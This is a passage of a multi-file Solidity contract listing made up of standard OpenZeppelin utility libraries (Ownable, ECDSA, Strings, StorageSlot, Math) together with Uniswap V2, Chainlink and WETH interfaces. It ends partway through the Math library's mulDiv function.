 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 7 of 20 : IUniswapV2Factory.sol
pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

File 8 of 20 : IUniswapV2Router02.sol
pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

File 9 of 20 : AggregatorV3Interface.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface AggregatorV3Interface {
  function decimals() external view returns (uint8);

  function description() external view returns (string memory);

  function version() external view returns (uint256);

  function getRoundData(
    uint80 _roundId
  ) external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);

  function latestRoundData()
    external
    view
    returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}

File 10 of 20 : IWETH.sol
pragma solidity >=0.5.0;

interface IWETH {
    function deposit() external payable;
    function transfer(address to, uint value) external returns (bool);
    function withdraw(uint) external;
}

File 11 of 20 : ECDSA.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/ECDSA.sol)

pragma solidity ^0.8.20;

/**
 * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
 *
 * These functions can be used to verify that a message was signed by the holder
 * of the private keys of a given address.
 */
library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS
    }

    /**
     * @dev The signature derives the `address(0)`.
     */
    error ECDSAInvalidSignature();

    /**
     * @dev The signature has an invalid length.
     */
    error ECDSAInvalidSignatureLength(uint256 length);

    /**
     * @dev The signature has an S value that is in the upper half order.
     */
    error ECDSAInvalidSignatureS(bytes32 s);

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with `signature` or an error. This will not
     * return address(0) without also returning an error description. Errors are documented using an enum (error type)
     * and a bytes32 providing additional information about the error.
     *
     * If no error is returned, then the address can be used for verification purposes.
     *
     * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
     *
     * Documentation for signature generation:
     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
     */
    function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError, bytes32) {
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            /// @solidity memory-safe-assembly
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature`. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
     */
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);
        _throwError(error, errorArg);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
     *
     * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
     */
    function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError, bytes32) {
        unchecked {
            bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
            // We do not check for an overflow here since the shift operation results in 0 or 1.
            uint8 v = uint8((uint256(vs) >> 255) + 27);
            return tryRecover(hash, v, r, s);
        }
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
     */
    function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);
        _throwError(error, errorArg);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function tryRecover(
        bytes32 hash,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal pure returns (address, RecoverError, bytes32) {
        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
        // these malleable signatures as well.
        if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
            return (address(0), RecoverError.InvalidSignatureS, s);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature, bytes32(0));
        }

        return (signer, RecoverError.NoError, bytes32(0));
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);
        _throwError(error, errorArg);
        return recovered;
    }

    /**
     * @dev Optionally reverts with the corresponding custom error according to the `error` argument provided.
     */
    function _throwError(RecoverError error, bytes32 errorArg) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert ECDSAInvalidSignature();
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert ECDSAInvalidSignatureLength(uint256(errorArg));
        } else if (error == RecoverError.InvalidSignatureS) {
            revert ECDSAInvalidSignatureS(errorArg);
        }
    }
}

File 12 of 20 : MessageHashUtils.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/MessageHashUtils.sol)

pragma solidity ^0.8.20;

import {Strings} from "../Strings.sol";

/**
 * @dev Signature message hash utilities for producing digests to be consumed by {ECDSA} recovery or signing.
 *
 * The library provides methods for generating a hash of a message that conforms to the
 * https://eips.ethereum.org/EIPS/eip-191[EIP 191] and https://eips.ethereum.org/EIPS/eip-712[EIP 712]
 * specifications.
 */
library MessageHashUtils {
    /**
     * @dev Returns the keccak256 digest of an EIP-191 signed data with version
     * `0x45` (`personal_sign` messages).
     *
     * The digest is calculated by prefixing a bytes32 `messageHash` with
     * `"\x19Ethereum Signed Message:\n32"` and hashing the result. It corresponds with the
     * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method.
     *
     * NOTE: The `messageHash` parameter is intended to be the result of hashing a raw message with
     * keccak256, although any bytes32 value can be safely used because the final digest will
     * be re-hashed.
     *
     * See {ECDSA-recover}.
     */
    function toEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32 digest) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, "\x19Ethereum Signed Message:\n32") // 32 is the bytes-length of messageHash
            mstore(0x1c, messageHash) // 0x1c (28) is the length of the prefix
            digest := keccak256(0x00, 0x3c) // 0x3c is the length of the prefix (0x1c) + messageHash (0x20)
        }
    }

    /**
     * @dev Returns the keccak256 digest of an EIP-191 signed data with version
     * `0x45` (`personal_sign` messages).
     *
     * The digest is calculated by prefixing an arbitrary `message` with
     * `"\x19Ethereum Signed Message:\n" + len(message)` and hashing the result. It corresponds with the
     * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method.
     *
     * See {ECDSA-recover}.
     */
    function toEthSignedMessageHash(bytes memory message) internal pure returns (bytes32) {
        return
            keccak256(bytes.concat("\x19Ethereum Signed Message:\n", bytes(Strings.toString(message.length)), message));
    }

    /**
     * @dev Returns the keccak256 digest of an EIP-191 signed data with version
     * `0x00` (data with intended validator).
     *
     * The digest is calculated by prefixing an arbitrary `data` with `"\x19\x00"` and the intended
     * `validator` address. Then hashing the result.
     *
     * See {ECDSA-recover}.
     */
    function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked(hex"19_00", validator, data));
    }

    /**
     * @dev Returns the keccak256 digest of an EIP-712 typed data (EIP-191 version `0x01`).
     *
     * The digest is calculated from a `domainSeparator` and a `structHash`, by prefixing them with
     * `\x19\x01` and hashing the result. It corresponds to the hash signed by the
     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] JSON-RPC method as part of EIP-712.
     *
     * See {ECDSA-recover}.
     */
    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) {
        /// @solidity memory-safe-assembly
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, hex"19_01")
            mstore(add(ptr, 0x02), domainSeparator)
            mstore(add(ptr, 0x22), structHash)
            digest := keccak256(ptr, 0x42)
        }
    }
}

File 13 of 20 : ShortStrings.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/ShortStrings.sol)

pragma solidity ^0.8.20;

import {StorageSlot} from "./StorageSlot.sol";

// | string  | 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   |
// | length  | 0x                                                              BB |
type ShortString is bytes32;

/**
 * @dev This library provides functions to convert short memory strings
 * into a `ShortString` type that can be used as an immutable variable.
 *
 * Strings of arbitrary length can be optimized using this library if
 * they are short enough (up to 31 bytes) by packing them with their
 * length (1 byte) in a single EVM word (32 bytes). Additionally, a
 * fallback mechanism can be used for every other case.
 *
 * Usage example:
 *
 * ```solidity
 * contract Named {
 *     using ShortStrings for *;
 *
 *     ShortString private immutable _name;
 *     string private _nameFallback;
 *
 *     constructor(string memory contractName) {
 *         _name = contractName.toShortStringWithFallback(_nameFallback);
 *     }
 *
 *     function name() external view returns (string memory) {
 *         return _name.toStringWithFallback(_nameFallback);
 *     }
 * }
 * ```
 */
library ShortStrings {
    // Used as an identifier for strings longer than 31 bytes.
    bytes32 private constant FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;

    error StringTooLong(string str);
    error InvalidShortString();

    /**
     * @dev Encode a string of at most 31 chars into a `ShortString`.
     *
     * This will trigger a `StringTooLong` error is the input string is too long.
     */
    function toShortString(string memory str) internal pure returns (ShortString) {
        bytes memory bstr = bytes(str);
        if (bstr.length > 31) {
            revert StringTooLong(str);
        }
        return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));
    }

    /**
     * @dev Decode a `ShortString` back to a "normal" string.
     */
    function toString(ShortString sstr) internal pure returns (string memory) {
        uint256 len = byteLength(sstr);
        // using `new string(len)` would work locally but is not memory safe.
        string memory str = new string(32);
        /// @solidity memory-safe-assembly
        assembly {
            mstore(str, len)
            mstore(add(str, 0x20), sstr)
        }
        return str;
    }

    /**
     * @dev Return the length of a `ShortString`.
     */
    function byteLength(ShortString sstr) internal pure returns (uint256) {
        uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;
        if (result > 31) {
            revert InvalidShortString();
        }
        return result;
    }

    /**
     * @dev Encode a string into a `ShortString`, or write it to storage if it is too long.
     */
    function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {
        if (bytes(value).length < 32) {
            return toShortString(value);
        } else {
            StorageSlot.getStringSlot(store).value = value;
            return ShortString.wrap(FALLBACK_SENTINEL);
        }
    }

    /**
     * @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}.
     */
    function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {
        if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {
            return toString(value);
        } else {
            return store;
        }
    }

    /**
     * @dev Return the length of a string that was encoded to `ShortString` or written to storage using
     * {setWithFallback}.
     *
     * WARNING: This will return the "byte length" of the string. This may not reflect the actual length in terms of
     * actual characters as the UTF-8 encoding of a single character can span over multiple bytes.
     */
    function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {
        if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {
            return byteLength(value);
        } else {
            return bytes(store).length;
        }
    }
}

File 14 of 20 : IERC5267.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5267.sol)

pragma solidity ^0.8.20;

interface IERC5267 {
    /**
     * @dev MAY be emitted to signal that the domain could have changed.
     */
    event EIP712DomainChanged();

    /**
     * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712
     * signature.
     */
    function eip712Domain()
        external
        view
        returns (
            bytes1 fields,
            string memory name,
            string memory version,
            uint256 chainId,
            address verifyingContract,
            bytes32 salt,
            uint256[] memory extensions
        );
}

File 15 of 20 : Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 16 of 20 : IUniswapV2Router01.sol
pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

File 17 of 20 : Strings.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Strings.sol)

pragma solidity ^0.8.20;

import {Math} from "./math/Math.sol";
import {SignedMath} from "./math/SignedMath.sol";

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant HEX_DIGITS = "0123456789abcdef";
    uint8 private constant ADDRESS_LENGTH = 20;

    /**
     * @dev The `value` string doesn't fit in the specified `length`.
     */
    error StringsInsufficientHexLength(uint256 value, uint256 length);

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        unchecked {
            uint256 length = Math.log10(value) + 1;
            string memory buffer = new string(length);
            uint256 ptr;
            /// @solidity memory-safe-assembly
            assembly {
                ptr := add(buffer, add(32, length))
            }
            while (true) {
                ptr--;
                /// @solidity memory-safe-assembly
                assembly {
                    mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))
                }
                value /= 10;
                if (value == 0) break;
            }
            return buffer;
        }
    }

    /**
     * @dev Converts a `int256` to its ASCII `string` decimal representation.
     */
    function toStringSigned(int256 value) internal pure returns (string memory) {
        return string.concat(value < 0 ? "-" : "", toString(SignedMath.abs(value)));
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        unchecked {
            return toHexString(value, Math.log256(value) + 1);
        }
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        uint256 localValue = value;
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = HEX_DIGITS[localValue & 0xf];
            localValue >>= 4;
        }
        if (localValue != 0) {
            revert StringsInsufficientHexLength(value, length);
        }
        return string(buffer);
    }

    /**
     * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal
     * representation.
     */
    function toHexString(address addr) internal pure returns (string memory) {
        return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);
    }

    /**
     * @dev Returns true if the two strings are equal.
     */
    function equal(string memory a, string memory b) internal pure returns (bool) {
        return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b));
    }
}

File 18 of 20 : StorageSlot.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol)
// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.

pragma solidity ^0.8.20;

/**
 * @dev Library for reading and writing primitive types to specific storage slots.
 *
 * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
 * This library helps with reading and writing to such slots without the need for inline assembly.
 *
 * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
 *
 * Example usage to set ERC1967 implementation slot:
 * ```solidity
 * contract ERC1967 {
 *     bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
 *
 *     function _getImplementation() internal view returns (address) {
 *         return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
 *     }
 *
 *     function _setImplementation(address newImplementation) internal {
 *         require(newImplementation.code.length > 0);
 *         StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
 *     }
 * }
 * ```
 */
library StorageSlot {
    struct AddressSlot {
        address value;
    }

    struct BooleanSlot {
        bool value;
    }

    struct Bytes32Slot {
        bytes32 value;
    }

    struct Uint256Slot {
        uint256 value;
    }

    struct StringSlot {
        string value;
    }

    struct BytesSlot {
        bytes value;
    }

    /**
     * @dev Returns an `AddressSlot` with member `value` located at `slot`.
     */
    function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `BooleanSlot` with member `value` located at `slot`.
     */
    function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
     */
    function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `Uint256Slot` with member `value` located at `slot`.
     */
    function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `StringSlot` with member `value` located at `slot`.
     */
    function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `StringSlot` representation of the string storage pointer `store`.
     */
    function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := store.slot
        }
    }

    /**
     * @dev Returns an `BytesSlot` with member `value` located at `slot`.
     */
    function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.
     */
    function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := store.slot
        }
    }
}

File 19 of 20 : Math.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/Math.sol)

pragma solidity ^0.8.20;

/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    /**
     * @dev Muldiv operation overflow.
     */
    error MathOverflowedMulDiv();

    enum Rounding {
        Floor, // Toward negative infinity
        Ceil, // Toward positive infinity
        Trunc, // Toward zero
        Expand // Away from zero
    }

    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds towards infinity instead
     * of rounding towards zero.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        if (b == 0) {
            // Guarantee the same behavior as in a regular Solidity division.
            return a / b;
        }

        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or
     * denominator == 0.
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by
     * Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0 = x * y; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            if (denominator <= prod1) {
                revert MathOverflowedMulDiv();
            }

            ///////////////////////////////////////////////
            // 512 by 256 division.
